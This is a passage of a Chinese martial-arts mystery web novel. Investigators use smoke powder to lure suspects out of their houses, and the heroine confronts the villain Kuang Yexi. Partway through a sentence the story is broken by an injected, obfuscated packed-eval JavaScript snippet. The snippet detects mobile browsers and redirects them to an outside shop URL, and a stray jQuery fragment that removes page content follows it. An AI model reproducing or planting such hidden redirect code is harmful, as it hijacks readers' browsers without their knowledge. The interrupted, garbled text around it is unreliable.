“可是凭借这短短几句话,您怎么确认是霍氏妹妹将藏宝图拿走,又怎么确认这话里的一轴就是指藏宝图?”
邓主回身指着远处山下的石碑,道:“霍丞相的妹妹曾在太恒私学念书。在她失踪后某日,有人曾在启明山上遥遥见过她的身影,而她出现过的地方就是丰都侯给予的线索中的地方。”
“也就是说那个女人没有死,但假借霍宅倾覆造成自己身死假象从而在暗中搜寻宝物下落。”
姜渊鹤总感觉这个霍氏女子有些熟悉。
“是,但既然她在二十年前就知道宝藏线索,那必然已经发现了宝藏存在。可后来,无论是江湖还是朝堂之上,并没有突然出现大量蹊跷的不明来源的财物。”
这也是邓主费解的,难道真的有人能够面对如此数额庞大的财富而完全不心动吗?
“那如若假设她和她的兄长霍丞相一样,都是一心为天下苍生的大义者呢?”
前朝覆灭后,对霍丞相的记载大多莫名丢失了,邓主更愿意相信就是他妹妹的手笔,为了在兄长离世后隐藏自己,这才将所有史料都湮灭。
“那她有可能在发现这笔宝藏后将东西尽数转移走,这也可以解释她在霍宅倾覆后出现在启明山上的原因。”
姜渊鹤和邓主四目相对,显然,二人的猜测都是一样的。
“这也是为何我请你来帮我,就让我二人揭开启明山秘宝的真相吧。”
邓主踩在一块大石头上,与姜渊鹤平视着。他有一种直觉,他们正在揭开一段沉重往事的玄机。
城防军已经就位。
“既然是引蛇出,就不必真的点燃大火,监星局有一种火药,能够散发出大量烟雾遮蔽事件,而不引起过强的火灾。我们用烟雾将百姓们骗出来,这样也不会连累他们的房屋。”
非正让城防军们都配备上那种特殊火药,只等洛锦一声令下。
春天的阳光即便到了正午也不会灼热难耐,过了春雨多发的时节后,一直都艳阳高照。此时未到晌午,外出干活的都出门了,种地的要不在田里要不就在回家的路上,炊烟袅袅,整片城郊的土地都像是活着的一样。
“开始吧。”
洛锦看向众人,阳光洒在每一个人脸上,驱散了未知的阴霾,暖融融的。
城防军将火药安置在几个巧妙的角落上,确保这周边的住户从家里跑出来的时候不会路过那几幢有问题的房子。而如果那几栋房子里的人跑出来,则必须经过他们埋伏的地方。
一切准备就绪,只等好戏开场。
最先发现滚滚浓烟的是街头上的那户人家,那户人家是一对老夫妇,还有两个未娶妻的儿子。老妇人一个人在家里做饭,大儿子在城西边的瓷器窑厂做工,老头和二儿子下地去了,就她一个人收拾院子,打扫房间。这会儿她正做着饭呢,屋后头突然传来一阵浓烟,灰黑色的灰烬伴随着火焰燃烧干木料的声音,她还没意识到不好,只听见一个陌生的声音传来,那人大喊着着火了,快跑。
老妇人虽胆小,但腿脚还算利落,她一边往出跑,一边大喊引起周边人的注意。她敲响了邻居家的门,得到应声后又去敲另一家的门。
邻里邻居相处了几十年,大家都知道什么时间段,哪户人家有谁在家,因此很快就互相知会了。不一会儿,整片弄堂里的居民都知道发生了火情,也都纷纷跑了出来。
“哎呀,这个时间家里的男人都不在,偏偏这火还越来越大,你看那浓烟简直能呛死个人。”
和老妇人一起跑出来的几个中年女人互相搀扶着,然后在看到路过的城防军时眼前一亮,她们还可以像士兵们求助呀!
于是她们叫住了故意路过的城防军。
“我知道了,感谢你们告知,为了保证你们的安全,我们先把你们转移到安全的地方去,灭火的事就交给我们吧。”
那群妇人放心下来,一个个跟着城防军离开。
“那些人还真沉得住气,这烟都这么大了,他们连出来看都不来看一眼。”
紧紧盯着那几幢屋子情况的罗拉雅啧啧称奇。
“那些离开屋子的大汉也已经被我的同僚们抓获,但他们不开口,看来还得从这里的人入手。”
非正总是消失一下又出现一下,每次出现都会带来新消息。
“叫城防军的大人们去敲门看看,看他们是打算当缩头乌龟到底呢,还是会有人出来应门。”
说着,洛锦穿上城防军的盔甲,打算假扮成他们中的一个混入队伍里,直面那些暗处的家伙。
“我也去。”
罗拉雅和非正同时开口。
“你们俩就在外接应,一旦他们发现情况不对打起来,你们还可以见机行事。”
洛锦拒绝了二人同行,只打算和城防军驻守东郊的小队长陈杰两个人去敲门。
“确实人越少越不容易引起怀疑,不过洛姐姐你一定要当心旷也奚,那个家伙聪明绝顶手段也花样百出,你一旦觉得不对,马上呼唤我们。”
罗拉雅有些担心,尽管她已经将自己所知道的关于旷也奚的一切都告诉了洛锦,可要是让洛锦一个人面对这样没有任何良善之心可言的恶鬼,她还是慌乱。
“放心,既然他选择和天音阁合作,他就不再是一个人,很多东西都会成为掣肘他的牵绊,我们就是要利用那些让他们投鼠忌器。”
洛锦安慰着她,在收到陈杰的招呼后快步跟上。
陈杰作为小队长对这个拿着监星局令牌的姑娘敬重有加,他本身没什么特长,但胜在听话,因此提拔了他做了小队长。他本就是城东人士,小时候天天在这里的大街小巷里跑跑跳跳,那些老妇人都是看着他长大的。
最近城中的不太平他们作为城防守卫是体悟最深的,如果眼前这个姑娘能够帮助大理寺和监星局将搅动京城太平的不良分子消灭,那即便是要他付出生命他也绝不会后悔。
陈杰慷慨就义的神情感染了洛锦,两个人严肃起来,敲响了最边上那个房子的大门。这个房子走出去的大汉是最多的,估摸着都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214845|189364||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是小喽啰。
“里头有人吗,附近的干草墩子起火了,火势蔓延很快,你们要是在家赶紧出来,东西就别带了,人赶紧撤离要紧!”
陈杰扯开嗓子大吼了一声。
里面一阵窸窸窣窣的声音响起,然后是几声凌乱的脚步,不一会儿,几个嘴歪眼邪的人跑出来。
有心人看他们就会发现他们很明显故意弄乱了衣服假装刚刚听到呼声起床,几个人大眼瞪小眼在门口站成一排,还是陈杰指着外面那条路跟他们说,往那里去,城防军会带你们到安全的地方。
这样的举措果然奏效,这几间屋子里的人被分批哄到了外头,被非正一个个敲晕。
最后只剩下那个青年和旷也奚所在的这间屋子。陈杰再一次上前敲门。
里面没有任何声响,如果不是洛锦亲眼看着有人走进去,那她可能也会恍惚觉得这是一间空房。
看来是不打算出来了。
洛锦戒备警觉着,一手放在小药瓶上,另一只手放在佩刀上。
“陈大哥,一会儿你帮我踹门,踹开以后无论发生什么你都往外跑,不要回头。”
隔着厚重的大门和到屋子里的一小段距离,洛锦已经感受到来自旷也奚的巨大压迫,他如一头蛰伏着的巨兽,在被打扰的时候,展露出不可一世的眼神。
“屋里头没什么大碍,我们就不出去给你们添麻烦了,多谢棺官差大哥。”
里面传出一个青年人的声音,旷也奚也没有动作。
洛锦转头看向陈杰,点了点头,陈杰一脚踹开大门,然后头也不回地飞奔而去。洛锦将药瓶扔进屋内,先手出招将那个青年撂倒。
“哪里来的鼠辈,敢坏我的事!”
旷也奚破门而出,本就不甚牢固的木门在内力的作用下碎成渣渣,如同漫天花雨般散落一地。
旷也奚的声音就如同他这个人的行事作风一样,阴柔里又带着狠劲,他的官话说得并不好,带着浓重的南疆口音,却清清楚楚地将自己的愤怒和盛气凌人表现了出来。
“旷也奚,你为何与天音阁同流合污?”
洛锦一挥袖,将那些飞散到面门上的木屑挥开,抽出城防军统一配备的大刀,严阵以待。
“哦?你认识我?”
旷也奚扭着身子走出来,他的脚步缓慢而无声,就像是毒蛇扭动它坚硬的鳞甲。三角头型的黑色巨蟒缠绕在他右手和腰上,盯着眼前这个新鲜又美丽的猎物。
旷也奚的外表看不出年龄,紧绷的皮肉和上挑的眼尾都是年轻人的证明,可那双粗糙如枯木的手又暴露了些细节,像是拼接在一个躯干上的不同组成,不搭调,又显得有些恶心。
“你身上,有那个小东西的气味,我想想,是叫罗拉雅吧,可惜了,我讨厌愚笨的小孩。”
旷也奚伸手在鼻子前挥了挥,又皱了皱鼻子,觉得远在异乡闻到故人的气味甚是晦气。
每一个说出口的字都拉长了语调,并非温柔,反而透着古怪,像是用笛子吹奏的长调。